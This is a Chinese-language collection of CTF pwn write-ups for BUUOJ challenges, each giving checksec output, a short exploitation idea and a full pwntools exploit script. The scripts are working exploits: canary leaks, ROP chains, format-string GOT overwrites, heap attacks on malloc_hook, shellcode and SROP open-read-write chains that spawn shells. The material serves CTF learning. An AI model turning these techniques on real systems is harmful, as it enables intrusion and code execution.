exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./babystack') sh=remote('node3.buuoj.cn',26825) elf=ELF('./babystack') context.log_level='debug' pop_rdi_ret=0x0000000000400a93 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=0x0000000000400908 def read(content): sh.recvuntil('>> ') sh.sendline('1') sleep(1) sh.send(content) def show(): sh.recvuntil('>> ') sh.sendline('2') def quit(): sh.recvuntil('>> ') sh.sendline('3') payload='a'*0x87+'b'+'a' read(payload) show() sh.recvuntil('b') canary=u64(sh.recv(8))-0x61 sh.success('canary : ' +hex(canary)) payload='a'*0x88+p64(canary)+'a'*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) read(payload) quit() puts_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('puts_addr : ' +hex(puts_addr)) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload='a'*0x88+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(bin_addr)+p64(system_addr) read(payload) quit() #gdb.attach(sh) sh.interactive()
axb_2019_fmt32 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 格式化字符串,首先泄露libc,然后通过一次写入2个字节的方式再strlen_got中写入system
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./axb_2019_fmt32') sh=remote('node3.buuoj.cn',27810) elf=ELF('./axb_2019_fmt32') context.log_level='debug' printf_got=elf.got['printf'] strlen_got=elf.got['strlen'] sh.recvuntil('Please tell me:') payload='a'+p32(printf_got)+'b'+'%8$s' sh.sendline(payload) sh.recvuntil('b') printf_addr=u32(sh.recv(4)) sh.success('printf_addr : ' +hex(printf_addr)) libc=LibcSearcher('printf',printf_addr) libc_base=printf_addr-libc.dump('printf') system_addr=libc_base+libc.dump('system') high_sys=(system_addr >>16) & 0xffff low_sys=(system_addr) & 0xffff sh.success('high : ' +hex(high_sys)) sh.success('low : ' +hex(low_sys)) sh.success('system_addr : ' +hex(system_addr)) payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(low_sys-18)+'c%8$hn'+'%'+str(high_sys-low_sys)+'c%9$hn' sh.recvuntil('Please tell me:') sh.sendline(payload) #sh.recvcuntil('Please tell me:') sleep(0.5) payload=';/bin/sh\x00' sh.sendline(payload) #gdb.attach(sh) sh.interactive()
inndy_rop checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 静态编译的题,ROPgadget --binary rop --ropchain
生成ROP链。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #! /usr/bin/env python from pwn import * from struct import pack #sh=process('./rop') sh=remote('node3.buuoj.cn',27180) p ='a'*0xc+'a'*4 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += '/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += '//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 sh.sendline(p) sh.interactive()
pwnable_start checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
利用: shellcode利用
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #! /usr/bin/env python from pwn import * sh=remote('node3.buuoj.cn',25938) #sh=process('./start') #context.log_level='debug' payload='a'*20+p32(0x08048087) #gdb.attach(sh) sh.send(payload) sh.recvuntil(':') stack_addr=u32(sh.recv(4)) sh.success('stack_addr : ' +hex(stack_addr)) shellcode=shellcode=''' xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx mov al,0xb int 0x80 ''' shellcode=asm(shellcode) print disasm(shellcode) payload='a'*20 payload+=p32(stack_addr+20) payload+=shellcode sh.sendline(payload) sh.interactive()
hitcontraining_magicheap checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: edit函数存在漏洞,可以造成堆溢出,将堆申请到bss段,修改magic
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #! /usr/bin/env python from pwn import * #sh=process('./magicheap') sh=remote('node3.buuoj.cn',29688) elf=ELF('./magicheap') context.log_level='debug' def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,size,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(': ') sh.send(content) def free(index): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) add(0x10,'a'*8) #0 add(0x60,'a'*8) #1 add(0x60,'a'*8) #2 add(0x10,'a'*8) #3 free(2) free(1) fake_chunk=0x602095-0x8 edit(0,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(fake_chunk)) add(0x60,'a'*8) #1 add(0x60,'a'*3+p64(0x1306)) #2 sh.recvuntil(':') sh.sendline('4869') #gdb.attach(sh) sh.interactive()
[V&N2020 公开赛]babybabypwn checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
seccomp检查: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015 0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015 0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015 0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015 0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015 0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015 0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015 0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015 0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015 0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0015: 0x06 0x00 0x00 0x00000000 return KILL
利用: 禁用了execve,只能利用orw了,程序给了一个sigreturn,构造一次SROP(read)到bss段上,然后构造orw来进行flag的读取和输出。
学习了一波SROP和orw,最近遇到这样的题比较多。总结一波。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #! /usr/bin/env python from pwn import * #sh=process('./vn_pwn_babybabypwn_1') sh=remote('node3.buuoj.cn',25420) libc=ELF('./libc-2.23.so') context(log_level='debug',arch='amd64',os='linux') sh.recvuntil('Here is my gift: ') puts_addr=int(sh.recv(14),16) sh.success('puts_addr : ' +hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] sh.success('libc_base : ' +hex(libc_base)) rdi_ret=libc_base+0x0000000000021102 rsi_ret=libc_base+0x00000000000202e8 rdx_ret=libc_base+0x0000000000001b92 bss=libc_base+libc.bss() open_addr=libc_base+libc.symbols['open'] write_addr=libc_base+libc.symbols['write'] read_addr=libc_base+libc.symbols['read'] syscall=libc_base+0x00000000000bc375 frame = SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=bss frame.rdx=0x200 frame.rsp=bss frame.rip=syscall payload=str(frame)[0x8:] #这里[8:]是因为程序已经给我们构造好了sigreturn,我们不需要再构造了,需要跳过。 sh.recvuntil('message: ') sh.send(payload) #read(0,bss,0x200) payload=p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(read_addr) #open('/flag',0) payload+=p64(rdi_ret)+p64(bss)+p64(rsi_ret)+p64(0)+p64(open_addr) #read(3,bss,0x200) payload+=p64(rdi_ret)+p64(0x3)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(read_addr) #write(1,bss,0x200) payload+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(write_addr) sh.send(payload) sleep(1) sh.sendline('flag\x00') sh.interactive()
ciscn_2019_s_4 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 首先泄露栈地址,然后栈迁移到栈上执行system。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #! /usr/bin/env python from pwn import * #sh=process('./ciscn_s_4') sh=remote('node3.buuoj.cn',27738) elf=ELF('./ciscn_s_4') context.log_level='debug' system_plt=elf.plt['system'] sh.recvuntil('?\n') payload='a'*0x24+'bbbb' sh.send(payload) sh.recvuntil('bbbb') ebp_addr=u32(sh.recv(4)) sh.success('ebp_addr : ' +hex(ebp_addr)) stack_addr=ebp_addr-56 payload=p32(system_plt)+'a'*4+p32(stack_addr+0xc)+'/bin/sh\x00'+'a'*0x14+p32(stack_addr-4)+p32(0x080484b8) sh.sendline(payload) #gdb.attach(sh) sh.interactive()
hitcontraining_heapcreator checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: off by one 漏洞,构造堆重叠泄露libc,然后再将chunk伪造到malloc_hook处getshell
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #! /usr/bin/env python from pwn import * #sh=process('./heapcreator') sh=remote('node3.buuoj.cn',25110) elf=ELF('./heapcreator') libc=ELF('./x64-libc-2.23.so') context.log_level='debug' def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(': ') sh.send(content) def show(index): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) def free(index): sh.recvuntil(':') sh.sendline('4') sh.recvuntil(':') sh.sendline(str(index)) add(0x10,'aaaa') #0 free add(0x10,'bbbb') #1 free free(0) free(1) add(0x18,'AAAA') #0 add(0x60,'bbbb') #1 free add(0x60,'cccc') #2 use and free add(0x10,'eeee') #3 free edit(0,'A'*0x10+p64(0)+'\xe1') free(1) add(0x60,'AAAA') #1 show(2) sh.recvuntil('Content : ') main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 malloc_hook=libc_base+libc.symbols['__malloc_hook'] one_gadget=libc_base+0x4526a sh.success('libc_base : ' +hex(libc_base)) sh.success('malloc_hook : ' +hex(malloc_hook)) sh.success('one_gadget : ' +hex(one_gadget)) free(3) add(0x60,'BBBB') #3 ==>2 free(1) free(3) edit(2,p64(malloc_hook-0x23)) add(0x60,'aaaa') #1 add(0x60,'aaa'+p64(0)*2+p64(one_gadget)) #3 sh.recvuntil(':') sh.sendline('1') #gdb.attach(sh) sh.interactive()
wustctf2020_getshell_2 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 没啥好说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 #! /usr/bin/env python from pwn import * #sh=process('./wustctf2020_getshell_2') sh=remote('node3.buuoj.cn',27534) sh_addr=0x08048670 system_addr=0x08048529 payload='a'*0x18+'a'*4+p32(system_addr)+p32(sh_addr) sh.sendline(payload) sh.interactive()
ciscn_2019_es_7 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: SROP利用
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #! /usr/bin/env python from pwn import * #sh=process('./ciscn_2019_es_7') sh=remote('node3.buuoj.cn',27519) context.log_level='debug' context.arch='amd64' syscall_ret=0x400517 read=0x4004f1 movrax_sigreturn=0x4004da movrax_system=0x4004E2 payload='/bin/sh\x00'+'\x00'*8+p64(read) sh.send(payload) sh.recv(32) stack_addr=u64(sh.recv(8)) log.success('stack_addr : ' +hex(stack_addr)) frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = stack_addr - 280 # "/bin/sh" 's addr frame.rsi = 0x0 frame.rdx = 0x0 frame.rsp = stack_addr frame.rip = syscall_ret #gdb.attach(sh) payload='/bin/sh'+'\x00'*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(frame) #sleep(1) sh.send(payload) #gdb.attach(sh,'b * 0x0000000000400519') sh.interactive()
mrctf2020_shellcode checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
利用: IDA打开发现F5不了,看汇编发现程序read后会直接call 你输入的地方,直接写shellcode就可以
exp如下: 1 2 3 4 5 6 7 8 9 10 11 #! /usr/bin/env python from pwn import * #sh=process('./mrctf2020_shellcode') sh=remote('node3.buuoj.cn',27190) shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #sh.recvuntil('how me your magic!\n') sh.send(shellcode) sh.interactive()
0ctf_2017_babyheap checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: edit存在漏洞,造成任意堆溢出,首先泄露libc,然后在malloc_hook处写入one_gadget
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #! /usr/bin/env python from pwn import * #sh=process('./0ctf_2017_babyheap') sh=remote('node3.buuoj.cn',26089) elf=ELF('./0ctf_2017_babyheap') libc=ELF('./x64-libc-2.23.so') context.log_level='debug' def add(size): sh.recvuntil(': ') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) def edit(index,size,content): sh.recvuntil(': ') sh.sendline('2') sh.recvuntil(': ') sh.sendline(str(index)) sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(': ') sh.send(content) def show(index): sh.recvuntil(': ') sh.sendline('4') sh.recvuntil(': ') sh.sendline(str(index)) def free(index): sh.recvuntil(': ') sh.sendline('3') sh.recvuntil(': ') sh.sendline(str(index)) add(0x10) #0 add(0x60) #1 add(0x60) #2 add(0x10) #3 edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1)) free(1) add(0x60) #1 show(2) sh.recvuntil('Content: \n') main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 malloc_hook=libc_base+libc.symbols['__malloc_hook'] one_gadget=libc_base+0x4526a sh.success('libc_base : ' +hex(libc_base)) sh.success('malloc_hook : ' +hex(malloc_hook)) sh.success('one_gadget : ' +hex(one_gadget)) add(0x60) #4==>2 free(4) edit(2,0x8,p64(malloc_hook-0x23)) add(0x60) #4 add(0x60) #5 edit(5,0x1b,'a'*3+p64(0)*2+p64(one_gadget)) add(0x10) #6 #gdb.attach(sh) sh.interactive()
hitcontraining_bamboobox checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 简单堆题,又被骗了,远程没有那个文件夹。我太单纯了。这里我本地测试了一下,本地exp是可以的。
exp如下: 本地 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #! /usr/bin/env python from pwn import * #sh=process('./bamboobox') sh=remote('node3.buuoj.cn',29439) elf=ELF('./bamboobox') libc=ELF('./libc.so.6') context.log_level='debug' def add(size,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,size,content): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def show(): sh.recvuntil(':') sh.sendline('1') def free(index): sh.recvuntil(':') sh.sendline('4') sh.recvuntil(':') sh.sendline(str(index)) add(0x10,'aaa') #0 add(0x60,'bbb') #1 add(0x10,'ccc') #2 add(0x40,'ddd') #3 add(0x10,'eee') #4 edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1)) free(1) add(0x60,'aaaa') #1 add(0x10,'aaaa') #5==>2 add(0x40,'aaaa') #6 add(0x10,'aaaa') #7 free(7) free(5) show() sh.recvuntil('2 : ') heap_addr=u32(sh.recv(4)) sh.success('heap_addr : ' +hex(heap_addr)) heap_base=heap_addr-0x140 sh.success('heap_base : ' +hex(heap_base)) magic=0x0000000000400D49 edit(2,0x8,p64(heap_base)) add(0x10,'aaaa') #8 add(0x10,p64(0)+p64(magic)) #9 sh.recvuntil(':') sh.sendline('5') #gdb.attach(sh) sh.interactive()
远程: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #! /usr/bin/env python from pwn import * #sh=process('./bamboobox') sh=remote('node3.buuoj.cn',29439) elf=ELF('./bamboobox') libc=ELF('./x64-libc-2.23.so') #context.log_level='debug' def add(size,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,size,content): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def show(): sh.recvuntil(':') sh.sendline('1') def free(index): sh.recvuntil(':') sh.sendline('4') sh.recvuntil(':') sh.sendline(str(index)) add(0x10,'aaaa') #0 add(0x60,'aaaa') #1 add(0x60,'aaaa') #2 add(0x10,'aaaa') #3 edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1)) free(1) add(0x60,'aaaa') #1 show() sh.recvuntil('2 : ') main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 malloc_hook=libc_base+libc.symbols['__malloc_hook'] one_gadget=libc_base+0x4526a realloc=libc_base+libc.symbols['realloc'] sh.success('realloc : ' +hex(realloc)) sh.success('libc_base : ' +hex(libc_base)) sh.success('malloc_hook : ' +hex(malloc_hook)) sh.success('one_gadget : ' +hex(one_gadget)) add(0x60,'aaaa') #4==>2 free(4) edit(2,0x8,p64(malloc_hook-0x23)) add(0x60,'aaaa') #4 add(0x60,'a'*3+p64(0)+p64(one_gadget)+p64(realloc)) #5 #gdb.attach(sh) sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(0x10)) #gdb.attach(sh) sh.interactive()
ciscn_2019_es_1 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 首先申请一个0x410大小的chunk,然后free掉泄露libc,之后利用tcache的机制连续free俩次chunk,将chunk申请到malloc_hook处,程序需要进行抬栈操作。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #! /usr/bin/env python from pwn import * #sh=process('./ciscn_2019_es_1') sh=remote('node3.buuoj.cn',27779) elf=ELF('./ciscn_2019_es_1') context.log_level='debug' libc=ELF('./18-64-libc-2.27.so') def add(size,name,call='aaaa'): sh.recvuntil(':') sh.sendline('1') sh.recvuntil("Please input the size of compary's name\n") sh.sendline(str(size)) sh.recvuntil('please input name:\n') sh.send(name) sh.recvuntil('please input compary call:\n') sh.send(call) def show(index): sh.recvuntil(':') sh.sendline('2') sh.recvuntil('Please input the index:\n') sh.sendline(str(index)) def free(index): sh.recvuntil(':') sh.sendline('3') sh.recvuntil('Please input the index:\n') sh.sendline(str(index)) add(0x410,'aaaa') #0 add(0x10,'bbbb') #1 free(0) show(0) sh.recvuntil('name:\n') main_arena=u64(sh.recv(6).ljust(8,'\x00'))-96 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3ebc40 sh.success('libc_base : ' +hex(libc_base)) malloc_hook=libc_base+libc.symbols['__malloc_hook'] sh.success('malloc_hook : ' +hex(malloc_hook)) one_gadget=libc_base+0x10a38c sh.success('one_gadget : ' +hex(one_gadget)) realloc=libc_base+libc.symbols['realloc'] sh.success('realloc : ' +hex(realloc)) add(0x60,'aaaa') #2 add(0x60,'bbbb') #3 free(2) free(2) add(0x60,p64(malloc_hook-0x23)) #4 add(0x60,'aaaa') #5 add(0x60,'a'*3+p64(0)*3+p64(one_gadget)+p64(realloc+0xe)) #6 sh.recvuntil(':') sh.sendline('1') #gdb.attach(sh) sh.interactive()
pwnable_hacknote checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: uaf利用,因为偏移有问题困扰了我好长时间,本来是简单题,结果。。。还是我太菜了啊。
利用: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #! /usr/bin/env python from pwn import * #sh=process('./hacknote') sh=remote('node3.buuoj.cn',29258) elf=ELF('./hacknote') context.log_level='debug' libc=ELF('./16-32-libc-2.23.so') puts_addr=0x0804862B puts_got=elf.got['puts'] def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def free(index): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(index)) def show(index): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) add(0x68,'a'*4) #0 add(0x10,'a'*4) #1 add(0x10,'a'*4) #2 free(0) add(0x68,'a'*4) #3 show(0) sh.recvuntil('aaaa') main_arena=u32(sh.recv(4))-48 sh.success('main_arena : ' +hex(main_arena)) #libc_base=main_arena-0x1b3780 libc_base=main_arena-0x1B0780 sh.success('libc_base : ' +hex(libc_base)) system_addr = libc.symbols['system']+libc_base sh.success('system_addr : ' +hex(system_addr)) free(0) free(1) add(0x8,p32(system_addr)+';sh\x00') show(3) #gdb.attach(sh) sh.interactive()
wustctf2020_closed checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 用命令exec 1>&0
把stdout
重定向到stdin
就返回shell了。关于重定向可以看一下这个链接。
http://xstarcd.github.io/wiki/shell/exec_redirect.html
exp如下: 1 2 3 4 5 6 #! /usr/bin/env python from pwn import * sh = remote("node3.buuoj.cn",26824) sh.sendline("exec 1>&0") sh.interactive()
mrctf2020_easyoverflow checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 没啥说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 #! /usr/bin/env python from pwn import * #sh=process('./mrctf2020_easyoverflow') sh=remote('node3.buuoj.cn',29563) context.log_level='debug' payload='a'*0x30+'n0t_r3@11y_f1@g' sh.sendline(payload) sh.interactive()
hitcon2014_stkof checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: unlink攻击,首先通过unlink泄露libc,然后getshell
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #! /usr/bin/env python from pwn import * #sh=process('./stkof') sh=remote('node3.buuoj.cn',29509) elf=ELF('./stkof') context.log_level='debug' libc=elf.libc def add(size): sh.sendline('1') sh.sendline(str(size)) sh.recvuntil('OK\n') def edit(index,content): sh.sendline('2') sleep(0.2) sh.sendline(str(index)) sleep(0.2) sh.sendline(str(len(content))) sleep(0.2) sh.send(content) sh.recvuntil('OK\n') def free(index): sh.sendline('3') sleep(0.2) sh.sendline(str(index)) chunk_ptr=0x602150 fd=chunk_ptr-0x18 bk=chunk_ptr-0x10 free_got=elf.got['free'] puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] add(0x60) #1 add(0x80) #2 add(0x80) #3 add(0x10) #4 edit(2,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90)) free(3) edit(2,'a'*0x10+p64(free_got)+p64(puts_got)) edit(1,p64(puts_plt)) free(2) sh.recvuntil('OK\n') puts_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('puts_addr : ' +hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] sh.success('libc_base: ' +hex(libc_base)) system_addr=libc_base+libc.symbols['system'] sh.success('system_addr: ' +hex(system_addr)) edit(1,p64(system_addr)) edit(4,'/bin/sh\x00') free(4) #gdb.attach(sh) sh.interactive()
jarvisoj_level5 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 和之前的一样,感觉是buu弄错了
